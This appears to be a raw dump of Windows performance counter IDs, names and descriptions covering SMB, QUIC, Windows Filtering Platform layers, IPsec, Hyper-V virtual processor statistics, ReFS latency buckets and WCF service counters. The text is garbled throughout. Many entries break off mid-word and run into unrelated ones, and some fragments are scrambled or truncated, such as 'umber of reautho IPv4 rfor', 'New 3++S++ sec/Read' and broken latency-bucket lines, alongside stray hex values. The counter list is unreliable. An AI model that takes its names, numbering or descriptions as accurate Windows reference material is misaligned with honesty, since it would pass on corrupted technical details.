Allocation Stalls (QP) 11250 Allocation Stalls (MR) 11252 Allocation Stalls (FRMR) 11112 Offline Files 11114 Bytes Received 11116 Bytes Transmitted 11118 Bytes Transmitted/sec 11122 Bytes Received/sec 11126 Client Side Caching 11128 SMB BranchCache Bytes Requested 11130 SMB BranchCache Bytes Received 11132 SMB BranchCache Bytes Published 11134 SMB BranchCache Bytes Requested From Server 11136 SMB BranchCache Hashes Requested 11138 SMB BranchCache Hashes Received 11140 SMB BranchCache Hash Bytes Received 11142 Prefetch Operations Queued 11144 Prefetch Bytes Read From Cache 11146 Prefetch Bytes Read From Server 11148 Application Bytes Read From Cache 11150 Application Bytes Read From Server 11152 Application Bytes Read From Server (Not Cached) 2240 QUIC Performance Diagnostics 2242 QUIC Connections Created 2244 QUIC Connections Created/sec 2246 QUIC Handshakes Failed 2248 QUIC Handshakes Failed/sec 2250 QUIC Connections Rejected 2252 QUIC Connections Rejected/sec 2254 QUIC Connections Resumed 2256 QUIC Connections Resumed/sec 2258 QUIC Connections Active 2260 QUIC Connections Connected 2262 QUH_CONNECT_V4 12359 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 12361 FWPM_LAYER_ALE_AUTH_CONNECT_V6 12363 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 12365 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 12367 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 12369 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 12371 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 12373 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 12375 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 12377 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 12379 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 12381 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12383 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12385 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12387 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12389 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12391 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12393 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12395 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12397 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12399 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12401 FWPM_LAYER_STREAM_PACKET_V4 12403 FWPM_LAYER_STREAM_PACKET_V6 12405 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12407 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12409 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12411 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12413 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12415 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12417 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12419 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12421 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12423 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12425 FWPM_LAYER_INBOUND_RESERVED2 12427 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12429 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12431 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12433 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12435 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12437 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12439 FWPM_LAYER_IPSEC_V4 12441 FWPM_LAYER_IPSEC_V6 12443 FWPM_LAYER_IKEEXT_V4 12445 FWPM_LAYER_IKEEXT_V6 12447 FWPM_LAYER_RPC_UM 12449 FWPM_LAYER_RPC_EPMAP 12451 FWPM_LAYER_RPC_EP_ADD 12453 FWPM_LAYER_RPC_PROXY_CONN 12455 FWPM_LAYER_RPC_PROXY_IF 12457 FWPM_LAYER_KM_AUTHORIZATION 12459 Sum total size of filters in all layers 4723 The set of C SCARD FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD FWPM_LAYER_ALE_AUTH_LISTEN_V4 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD FWPM_LAYER_ALE_AUTH_LISTEN_V6 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD FWPM_LAYER_ALE_AUTH_CONNECT_V4 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD FWPM_LAYER_ALE_AUTH_CONNECT_V6 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 FWPM_LAYER_ALE_BIND_REDIRECT_V4 FWPM_LAYER_ALE_BIND_REDIRECT_V6 FWPM_LAYER_STREAM_PACKET_V4 FWPM_LAYER_STREAM_PACKET_V6 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET FWPM_LAYER_EGRESS_VSWITCH_ETHERNET FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 FWPM_LAYER_INBOUND_TRANSPORT_FAST FWPM_LAYER_OUTBOUND_TRANSPORT_FAST FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST FWPM_LAYER_INBOUND_RESERVED2 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 FWPM_LAYER_IPSEC_KM_DEMUX_V4 FWPM_LAYER_IPSEC_KM_DEMUX_V6 FWPM_LAYER_IPSEC_V4 FWPMets Dropped per Second is the rate of inbound packets dropped by IPsec. 11427 WFP is the set of Windows Filtering Platform counters that do not apply to any specific Internet Protocol version. 11429 Provider Count is the number of providers registered with the Windows Filtering Platform. 12011 WFP Reauthorization is the set of Windows Filtering Platform (WFP) counters that pertain to connection reauthorizations. 12013 Total number of inbound reauthorizations performed. 12015 Total number of outbound reauthorizations performed. 12017 Total number of reauthorizations performed for the IPv4 address family. 12019 Total number of reauthorizations performed for the IPv6 address family. 12021 Total number of reauthorizations performed for all other protocols. 12023 umber of reautho IPv4 rfor Total number o reauthorizations performed for the PolicyChange reason. 1203 New 3++S++ sec/Read 4532 Read Bytes/sec 4534 Total File Open Count 4536 Files Opened/sec 4538 Current Durable Open File Count 4540 Total Durable Handle Reopen Count 4542 Total Failed Durable Handle Reopen Count 4544 % Resilient Handles 4548 Total Resilient Handle Reopen Count 4550 Total Failed Resilient Handle Reopen Count 4552 % Persistent Handles 4556 Total Persistent Handle Reopen Count 4558 Total Failed Persistent Handle Reopen Count 4560 Metadata Requests/sec 4562 Avg. sec/Data Request 4566 Avg. Data Bytes/Request 4570 Avg. Bytes/Read 4574 Avg. Bytes/Write 4578 Avg. Read Queue Length 4580 Avg. Write Queue Length 4582 Avg. Data Queue Length 4584 Data Bytes/sec 4586 Data Requests/sec 4588 Current Data Queue Length 4590 Write Requests transmitted via SMB Direct/sec 4592 Write Bytes transmitted via SMB Direct/sec 4594 Read Requests transmitted via SMB Direct/sec 4596 Read Bytes transmitted via SMB Direct/sec 4598 Current Bypass Open File Count 4600 Write Requests transmitted via BypassCSV/sec 4602 Read Requests transmitted via BypassCSV/sec 4604 Read Bytes transmitted ByPassCSV/sec 4606 Write Bytes transmitted ByPassCSV/sec 4608 Bytes Compressed/sec 4610 Successful Compressed Responses/sec 4612 Compressed Requests/sec 4614 Attempted Compressed Responses/sec 4616 SMB Server Sessions 4618 Received Bytes/sec 4620 Requests/sec 4622 Tree Connect Count 4624 Current Open File Count 4626 Sent Bytes/sec 4628 Transferred Bytes/sec 4630 Current Pending Requests 4632 Avg. sec/Request 4636 Write Requests/sec 4638 Avg. sec/Write 4642 Write Bytes/sec 4644 Read Requests/sec 4646 Avg. sec/Read 4650 Read Bytes/sec 4652 Total File Open Count 4654 Files Opened/sec 4656 Current Durable Open File Count 4658 Total Durable Handle Reopen Count 4660 Total Failed Durable Handle Reopen Count 4662 % Resilient Handles 4666 Total Resilient Handle Reopen Count 4668 Total Failed Resilient Handle Reopen Count 4670 % Persistent Handles 4674 Total Persistent Handle Reopen Count 4676 Total Failed Persistent Handle Reopen Count 4678 Metadata Requests/sec 4680 The total number of VMPTRLD instructions emulated on the virtual processor. 14767 The total number of VMPTRST instructions emulated on the virtual processor. 14769 The total number of VMREAD instructions emulated on the virtual processor. 14771 The total number of VMWRITE instructions emulated on the virtual processor. 14773 The total number of VMXOFF instructions emulated on the virtual processor. 14775 The total number of VMXON instructions emulated on the virtual processor. 14777 The total number of nested VM entries on the virtual processor. 14779 The total number of nested SLAT soft page faults on the virtual processor. 14781 The total number of nested SLAT hard page faults on the virtual processor. 14783 The total number of InvEpt All Context instructions emulated on the virtual processor. 14785 The total number of InvEpt Single Context instructions emulated on the virtual processor. 14787 The total number of InvVpid All Context instructions emulated on the virtual processor. 14789 The total number of InvVpid Single Context instructions emulated on the virtual processor. 14791 The total number of InvVpid Single Address instructions emulated on the virtual processor. 14793 The total number of VMLOAD instructions emulated on the virtual processor. 14795 The total number of VMSAVE instructions emulated on the virtual processor. 14797 The total number of STGI/CLGI instructions emulated on the virtual processor. 14799 The total number of RDPMC instructions executed by guest code on the virtual processor. 14801 The total number of intercepted accesses to vPMU related MSRs on this virtual processor. 14803 The total number of intercepted accesses to LBR related MSRs on this virtual processor. 14805 The total number of intercepted accesses to IPT related MSRs on this virtual processor. 14807 The total number of performance monitoring interrupts forwarded to this virtual processor. 14809 The total number of VTL1 dispatches on the virtual processor. 14811 The total number of VTL2 dispatches on the virtual processorg: # of connections closed-reopened 8208 WMIPrvSE Health Status 8210 Process ID 8212 Handle Count 8214 Thread Count 8216 PrivatePage Memory 8218 CPU% Consumption 8220 Timestamp Of Health Status 5832 GPU Non Local Adapter Memory 5834 Non Local Usage 5808 GPU Process Memory 5810 Total Committed 5812 Local Usage 5814 Non Local Usage 5816 Dedicated Usage 5818 Shared Usage 5820 GPU Adapter Memory 5822 Total Committed 5824 Dedicated Usage 5826 Shared Usage 5802 GPU Engine 5804 Running Time 5806 Utilization Percentage 5828 GPU Local Adapter Memory 5830 Local Usage 11254 Windows Media Player Metadata 11256 Files Scanned/Minute 11260 Monitored Folder Updates/Second 11264 Groveler Service Routine Executions/Second 11268 Library Description Updates/Second 11272 Library Description Change Notifications/Second 11276 File Scanning Thread Prioirty 11278 Directory Change Queue Length 11280 Scanning State 11282 Dirty Directory Hit Count 11284 Timestamp Directory Hit Count 11286 AFTS Execution Time (ms) 11288 URL Classification Time (ms) 11290 Property Extraction Time (ms) 11292 Art Extraction Time (ms) 11294 Reorganize Time (ms) 11296 Commit Time (ms) 11298 Normalization Time (ms) 2540 RemoteFX Graphics 2542 Input Frames/Second 2544 Graphics Compression ratio 2546 Output Frames/Second 2548 Frames Skipped/Second - Insufficient Client Resources 2550 Frames Skipped/Second - Insufficient Network Resources 2552 Frames Skipped/Second - Insufficient Server Resources 2554 Frame Quality 2556 Average Encoding Time 2558 Source Frames/Second 2560 RemoteFX Network 2562 Base TCP RTT 2564 Current TCP RTT 2566 Current TCP Bandwidth 2568 Total Received Rate 2570 TCP Received Rate 2572 UDP Received Rate 2574 UDP Packets Received/sec 2576 Total Sent Rate 2578 TCP Sent Rate 2580 UDP Sent Rate 2582 UDP Packets Sent/sec 2584 Sent Rate P0 2586 Sent Rate P1 2588 Sent Rate P2 2590 Sent Rate P3 2592 Loss Rate 2594 Retransmission Rate 2596 FEC Rate 2600 Base UDP RTT 2602 Current UDP RTT 2604 Current UDP Bandwidth 2606 Total Sent Bytes 2608 Total Received Begotiations completed since IPsec was last started. 11789 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11791 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11793 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11371 WFPv4 is the set of Windows Filtering Platform counters that apply to traffic and connections over Internet Protocol version 4. 11373 Inbound Packets Discarded per Second is the rate at which inbound packets are discarded by the Windows Filtering Platform. 11375 Outbound Packets Discarded per Second is the rate at which outbound packets are discarded by the Windows Filtering Platform. 11377 Packets Discarded per Second is the rate at which the total of inbound and outbound packets are discarded by the Windows Filtering Platform. 11379 Blocked Binds is the number of network resource assignment requests blocked by the Windows Filtering Platform since the computer was last started. 11381 Inbound Connections Blocked per Second is the rate at which inbound connections are being blocked by the Windows Filtering Platform. 11383 Outbound Connections Blocked per Second is the rate at which outbound connections are being blocked by the Windows Filtering Platform. 11385 Inbound Connections Allowed per Second is the rate at which inbound connections are being allowed by the Windows Filtering Platform. 11387 Outbound Connections Allowed per Second is the rate at which outbound connections are being allowed by the Windows Filtering Platform. 11389 Inbound Connections is the number of inbound connections allowed by the Windows Filtering Platform since the computer was last started. 11391 Outbound Connections is the number of outbound connections allowed by the Windows Filtering Platform since the computer was last started. 11393 Active Inbound Connections is the number of current inbound connections allowed by the Windows Filtering Platform. 11395 Active Outbound C /sec 14414 MBEC Nested Page Table Switches/sec 14416 Other Reflected Guest Exceptions/sec 14418 Global I/O TLB Flushes/sec 14420 Global I/O TLB Flush Cost 14422 Local I/O TLB Flushes/sec 14424 Local I/O TLB Flush Cost 14426 Hypercalls Forwarded/sec 14428 Hypercalls Forwarding Cost 14430 Page Invalidations Forwarded/sec tions Fo Other Intercepts Forwarded/sec 14460 Other Intercepts Forwarding Cos erru pts rwarding C 1447 ulated Instructions Forw d/se g Re mulati 0000000000000804 ue to absence of binding. 6993 Total number of ICMP sessions timed out due to inactivity. 14023 RulesByStore is the set of counters that apply to the number of rules in each firewall store on the system. 14025 Number of Firewall Rules in Group Policy RSoP Store 14027 Number of Firewall Rules in Local Store 14029 Number of Firewall Rules in Dynamic Store 14031 Number of Firewall Rules in GPO Store 14033 Number of Firewall Rules in Defaults Store 14035 Number of Firewall Rules in WSH Static Store 14037 Number of Firewall Rules in WSH Configurable Store 14039 Number of Firewall Rules in Interface Isolation Store 14041 Number of Firewall Rules in Interface Isolation Dynamic Store 14043 Number of Firewall Rules in App Isolation Store 14045 Number of Firewall Rules in MDM Store 14047 Number of Firewall Rules in Tenant Restrictions Store 14049 Number of Firewall Rules in All Stores 14015 RulesByProfile is the set of counters that apply to the number of rules in for each firewall profile on the system (public, private, domain). 14017 Number of Firewall Rules in Public Profile 14019 Number of Firewall Rules in Private Profile 14021 Number of Firewall Rules in Domain Profile 12503 Set of request queue counters 12505 Number of requests in the queue 12507 Age of the oldest request in the queue 12509 Rate at which requests are arriving in the queue 12511 Rate at which requests are rejected from the queue 12513 Total number of requests rejected from the queue 12515 Rate of cache hits for the queue 12521 Number of pending receive requests in the queue 12483 Set of URL Group-specific counters 12485 Rate of sending data by HTTP service for this site 12487 Rate of received data by HTTP service for this site 12489 Rate of total bytes transferred (sent and received) by HTTP service for this site 12491 Number of current connections established for this site 12493 Maximum number of concurrent connections established for this site 12495 Rate at which connection attempts are being made for this site 12497 Rate at which GET method reques of MWAIT instructions executed by guest code on the virtual processor. 14295 The average time (in nanoseconds) spent processing an MWAIT instruction. 14297 The rate of CPUID instructions executed by guest code on the virtual processor. 14299 The average time (in nanoseconds) spent processing a CPUID instruction. 14301 The rate of MSR instructions executed by guest code on the virtual processor. 14303 The average time (in nanoseconds) spent processing an MSR instruction. 14305 The rate of other intercepts triggered by guest code on the virtual processor. 14307 The average time (in nanoseconds) spent processing other intercepts. 14309 The rate of external interrupts received by the hypervisor while executing guest code on the virtual processor. 14311 The average time (in nanoseconds) spent processing an external interrupt. 14313 The rate of intercepts due to a task priority (TPR) reduction by guest code on the virtual processor. 14315 The average time (in nanoseconds) spent processing a pending interrupt intercept. 14317 The rate of emulated instructions while executing guest code on the virtual processor. 14319 The average time (in nanoseconds) spent emulating an instruction. 14321 The rate of debug register accesses by guest code on the virtual processor. 14323 The average time (in nanoseconds) spent handling a debug register access. 14325 The rate of page fault exceptions intercepted by the hypervisor while executing guest code on the virtual processor. 14327 The average time (in nanoseconds) spent processing a page fault intercept. 14329 The rate of map operations for guest page table pages. 14331 The rate of virtual TLB misses on large pages. 14333 The rate of virtual TLB misses on 4K pages. 14335 The rate of page fault exceptions delivered to the guest. 14337 The rate of APIC MMIO register accesses by guest code on the virtual processor. 14339 The rate of IO intercept messages sent to the parent partition. 14341 The rate of memory intercept messages sent to the parent partition. 14343 The rate of APIC EOI reging Messages Dropped Per Second 2996 Transactions Flowed 2998 Transactions Flowed Per Second 3000 Transacted Operations Committed 3002 Transacted Operations Committed Per Second 3004 Transacted Operations Aborted 3006 Transacted Operations Aborted Per Second 3008 Transacted Operations In Doubt 3010 Transacted Operations In Doubt Per Second 3012 Queued Poison Messages 3014 Queued Poison Messages Per Second 3016 Queued Messages Rejected 3018 Queued Messages Rejected Per Second 3020 Queued Messages Dropped 3022 Queued Messages Dropped Per Second 3024 Percent Of Max Concurrent Calls 3026 Percent Of Max Concurrent Instances 3028 Percent Of Max Concurrent Sessions 3030 CallDurationBase 3032 CallsPercentMaxConcurrentCallsBase 3034 InstancesPercentMaxConcurrentInstancesBase 3036 SessionsPercentMaxConcurrentSessionsBase 3078 ServiceModelOperation 4.0.0.0 3080 Calls 3082 Calls Per Second 3084 Calls Outstanding 3086 Calls Failed 3088 Call Failed Per Second 3090 Calls Faulted 3092 Calls Faulted Per Second 3094 Calls Duration 3096 Security Validation and Authentication Failures 3098 Security Validation and Authentication Failures Per Second 3100 Security Calls Not Authorized 3102 Security Calls Not Authorized Per Second 3104 Transactions Flowed 3106 Transactions Flowed Per Second 3108 CallsDurationBase 3038 ServiceModelEndpoint 4.0.0.0 3040 Calls 3042 Calls Per Second 3044 Calls Outstanding 3046 Calls Failed 3048 Calls Failed Per Second 3050 Calls Faulted 3052 Calls Faulted Per Second 3054 Calls Duration 3056 Security Validation and Authentication Failures 3058 Security Validation and Authentication Failures Per Second 3060 Security Calls Not Authorized 3062 Security Calls Not Authorized Per Second 3064 Reliable Messaging Sessions Faulted 3066 Reliable Messaging Sessions Faulted Per Second 3068 Reliable Messaging Messages Dropped 3070 Reliable Messaging Messages Dropped Per Second 3072 Transactions Flowed 3074 Transactions Flowed Per Second 3076 CallDurationBase 6496 Power Meter 6498 Power 6500 Power Budget 6502 Energy Metertions that took < 256 s to complete. 4407 Number of operations that took < 512 s to complete. 4409 Number of operations that took < 1 ms to complete. 4411 Number of operations that took < 4 ms to complete. 4413 Number of operations that took < 16 ms to complete. 4415 Number of operations that took < 64 ms to complete. 4417 Number of operations that took < 128 ms to complete. 4419 Number of operations that took < 256 ms to complete. 4421 Number of operations that took < 512 ms to complete. 4423 Number of operations that took < 1 s to complete. 4425 Number of operations that took < 2 s to complete. 4427 Number of operations that took < to complete. took < 20 s to comp k < 30L to complete. 4433 Number of ope ons that t/ k >= 30s to complete. 4435 Total time in nanoseconds for all operations that took < 128 ime econ ompl ons 4455 at t < 1 e of workflow instances created per second. 6597 Total number of workflow instances actively executing. 6599 Total number of workflow instances completed since workflow host started. 6601 Rate of workflow instances completed per second. 6603 Total number of workflow instances aborted since workflow host started. 6605 Rate of workflow instances aborted per second. 6607 Total number of workflow instances currently in memory. 6609 Total number of workflow instances persisted since workflow host started. 6611 Rate of workflow instances persisted per second. 6613 Total number of workflow instances terminated since workflow host started. 6615 Rate of workflow instances terminated per second. 6617 Total number of workflow instances loaded since workflow host started. 6619 Rate of workflow instances loaded per second. 6621 Total number of workflow instances unloaded since workflow host started. 6623 Rate of workflow instances unloaded per second. 6625 Total number of workflow instances suspended since workflow host started. 6627 Rate of workflow instances suspended per second. 6629 Rate of workflow instances becoming idle per second. 6631 Average amount of time to load a workflow instance. 6633 Average base amount of time to load a workflow instance. 6635 Average amount of time to persist a workflow instance. 6637 Average base amount of time to persist a workflow instance. 5837 Terminal Services Summary Information 5839 Number of active Terminal Services sessions 5841 Number of inactive Terminal Services sessions 5843 Total number Terminal services sessions 14075 Information on logical processors. 14077 The global time on this logical processor. 14079 The total time (in 100ns) spent by the processor in guest and hypervisor code. 14081 The total time (in 100ns) spent by the processor in hypervisor code. 14083 The rate of hardware interrupts on the processor (excluding hypervisor interrupts). 14085 The rate of virtual processor context switches on the processor. 14087 The rate of hypervisor inter-processor interrupts delie allocator cache. 2119 Entries deleted from the allocator cache. 2121 Allocator cache insertion collision count 2123 Allocator cache purge count 2125 Average number of regions examined per allocation. 2129 Maximum number of regions examined per allocation 2131 Total time needed to process tree updates in 100 ns 2133 Total time needed to process checkpoints while holding exclusive locks checkpoints in 100 ns 2135 Total time needed to process checkpoints as tree updates in 100 ns 8283 The Storage Management WSP Spaces Runtime performance object consists of counters that show information about Storage Management WSP Spaces provider runtimes. 8285 The number of control dispatches elapsing between 0ms to 4ms. 8287 The number of control dispatches elapsing between 4ms to 16ms. 8289 The number of control dispatches elapsing between 16ms to 64ms. 8291 The number of control dispatches elapsing between 64ms to 256ms. 8293 The number of control dispatches elapsing between 256ms to 1s. 8295 The number of control dispatches elapsing between 1s to 4s. 8297 The number of control dispatches elapsing between 4s to 16s. 8299 The number of control dispatches elapsing between 16s to 1min. 8301 The number of control dispatches elapsing more than 1min. 1959 Per-Pipe statistics, for performance debugging. 11155 The SMB Direct performance counter set consists of counters that measure SMB Direct activity. 11157 The total number of times SMB Direct was unable to allocate an RDMA connector. 11159 The total number of times SMB Direct was unable to allocate an RDMA protection domain. 11161 The total number of times SMB Direct was unable to allocate an RDMA completion queue. 11163 The total number of times SMB Direct was unable to allocate an RDMA queue pair. 11165 The total number of times SMB Direct was unable to allocate an RDMA memory region. 11167 The total number of times SMB Direct was unable to allocate an RDMA fast register memory region. 11169 The rate at which SMB Direct is RDMA reading bytes from a remote host. 11171 The rate at dispatches on the virtual processor. 14627 Less than 6.4 us spent running VTL2 on a virtual processor. 14629 6.4 us - 12.7 us spent running VTL2 on a virtual processor. 14631 12.8 us - 25.5 us spent running VTL2 on a virtual processor. 14633 25.6 us - 51.1 us spent running VTL2 on a virtual processor. 14635 51.2 us - 102.3 us spent running VTL2 on a virtual processor. 14637 102.4 us - 204.7 us spent running VTL2 on a virtual processor. 14639 Greater than 204.7 us spent running VTL2 on a virtual processor. 14641 The average time (in nanoseconds) spent running VTL1 on the virtual processor. 14643 The average time (in nanoseconds) spent running VTL2 on the virtual processor. 14645 The rate of IOMMU hypercalls made by guest code on the virtual processor. 14647 The rate of CPU Group hypercalls made by guest code on the virtual processor. 14649 The rate of VSM hypercalls made by guest code on the virtual processor. 14651 The rate of Event Log hypercalls made by guest code on the virtual processor. 14653 The rate of Device Domain hypercalls made by guest code on the virtual processor. 14655 The rate of Deposit hypercalls made by guest code on the virtual processor. 14657 The rate of SVM hypercalls made by guest code on the virtual processor. 14659 The rate of bus locked acquisitions by guest code on the virtual processor. 14661 Unused counter 14663 Whether the root scheduler dispatch thread backing this VP is blocked. 14665 The total time (in 100ns) spent by the virtual processor in guest code. 14667 The percentage of time spent by the virtual processor in guest and hypervisor code. 14669 The percentage of time spent by the virtual processor in hypervisor code. 14671 The percentage of time spent by the virtual processor in guest code. 14673 The percentage of possible runtime utilized by the virtual processor. 14675 The percentage of time spent by any virtual processor in the same virtual core in guest and hypervisor code for SMT enabled guests. 14677 The rate of total messages sent to the parent partition. 14679 The totr. 14569 3.2768 ms - 6.5535 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14571 6.5536 ms - 13.1071 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14573 Greater than 13.1071 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14575 The rate of VMLOAD instructions emulated while executing guest code on the virtual processor. 14577 The average time (in nanoseconds) spent emulating a VMLOAD instruction. 14579 The rate of VMSAVE instructions emulated while executing guest code on the virtual processor. 14581 The average time (in nanoseconds) spent emulating a VMSAVE instruction. 14583 The rate of STGI/CLGI instructions emulated while executing guest code on the virtual processor. 14585 The average time (in nanoseconds) spent emulating a GIF access instruction. 14587 The rate of SVM instructions emulated due to errata. 14589 Placeholder counter. 14591 Placeholder counter. 14593 Placeholder counter. 14595 Placeholder counter. 14597 Placeholder counter. 14599 Placeholder counter. 14601 Placeholder counter. 14603 Placeholder counter. 14605 The average time (in nanoseconds) spent waiting for a virtual processor to be dispatched after it was added to the CPU runqueue. 14607 The average time (in nanoseconds) spent waking up an idle virtual processor before it was dispatched 14609 The configured scheduling priority for this virtual processor. 14611 The rate of RDPMC instructions executed by guest code on the virtual processor. 14613 The average time (in nanoseconds) spent processing an RDPMC instruction. 14615 The rate of intercepted accesses to vPMU related MSRs on this virtual procesor 14617 The rate of intercepted accesses to LBR related MSRs on this virtual procesor 14619 The rate of intercepted accesses to IPT related MSRs on this virtual procesor 14621 The rate of performance monitoring interrupts forwarded to this virtual procesor 14623 The rate of VTL1 dispatches on the virtual processor. 14625 The rate of VTL2 be tracked as dirty. 2137 The ReFS bucketized performance object consists of counters that show operations performance split by latency buckets on ReFS volumes. 2139 Total number of operations completed since last collection. 2141 Total time in nanoseconds it took to complete operations since last collection. 2143 Total bytes transfered since last collec 2145 Number of s to complete. s to L mplete. 2149 Number of operation at took <=/ s to complete. 2151 Number of operations that took <= 1 ms to complete. 2153 Number of operations that took <= 4 ms to complete. <= 16 m plete. Numb rati k <= t took <= 20 s to co 2173 at took <= 128 com r all operat tha otal tim nanoseconds for all 512 s to complete. 2183 Total in nanoseconds for all operatio e in t to ete. 2189 seco ok <= 12 2195 time Negotiation uest rat is the active quick mod e Ne ucket 03: < 512 4408 4: Count bucket 04: < 1 ms 4410 4: Count bucket 05: < 4 ms 4412 4: Count bucket 06: < 16 ms 4414 4: Count bucket 07: < 64 ms 4416 4: Count bucket 08: < 128 ms 4418 4: Count bucket 09: < 256 ms 4420 4: Count bucket 10: < 512 ms 4422 4: Count bucket 11: < 1 s 4424 4: Count bucket 12: < 2 s 4426 4: Count bucket 13: < 10 s 4428 4: Count bucket 14: < 20 s 4430 4: Count bucket 15: < 30 s 4432 4: Count bucket 16: >= 30s 4434 5: Time[ns] bucket 01: < 128 4436 5: Time[ns] bucket 02: < 256 4438 5: Time[ns] bucket 03: < 512 4440 5: Time[ns] bucket 04: < 1 ms 4442 5: Time[ns] bucket 05: < 4 ms 4444 5: Time[ns] bucket 06: < 16 ms 4446 5: Time[ns] bucket 07: < 64 ms 4448 5: Time[ns] bucket 08: < 128 ms 4450 5: Time[ns] bucket 09: < 256 ms 4452 5: Time[ns] bucket 10: < 512 ms 4454 5: Time[ns] bucket 11: < 1 s 4456 5: Time[ns] bucket 12: < 2 s 4458 5: Time[ns] bucket 13: < 10 s 4460 5: Time[ns] bucket 14: < 20 s 4462 5: Time[ns] bucket 15: < 30 s 4464 5: Time[ns] bucket 16: >= 30s 4466 6: Bytes bucket 01: < 128 4468 6: Bytes bucket 02: < 256 4470 6: Bytes bucket 03: < 512 4472 6: Bytes bucket 04: < 1 ms 4474 6: Bytes bucket 05: < 4 ms 4476 6: Bytes bucket 06: < 16 ms 4478 6: Bytes bucket 07: < 64 ms 4480 6: Bytes bucket 08: < 128 ms 4482 6: Bytes bucket 09: < 256 ms 4484 6: Bytes bucket 10: < 512 ms 4486 6: Bytes bucket 11: < 1 s 4488 6: Bytes bucket 12: < 2 s 4490 6: Bytes bucket 13: < 10 s 4492 6: Bytes bucket 14: < 20 s 4494 6: Bytes bucket 15: < 30 s 4496 6: Bytes bucket 16: >= 30s 12758 MPTF Information 12760 Temperature 5070 Storport Unit Queue 5072 Outstanding Requests 5074 Queued Requests 4956 Storport Unit Transfers 4958 Transfers/sec Bucket 01 : <= 128us 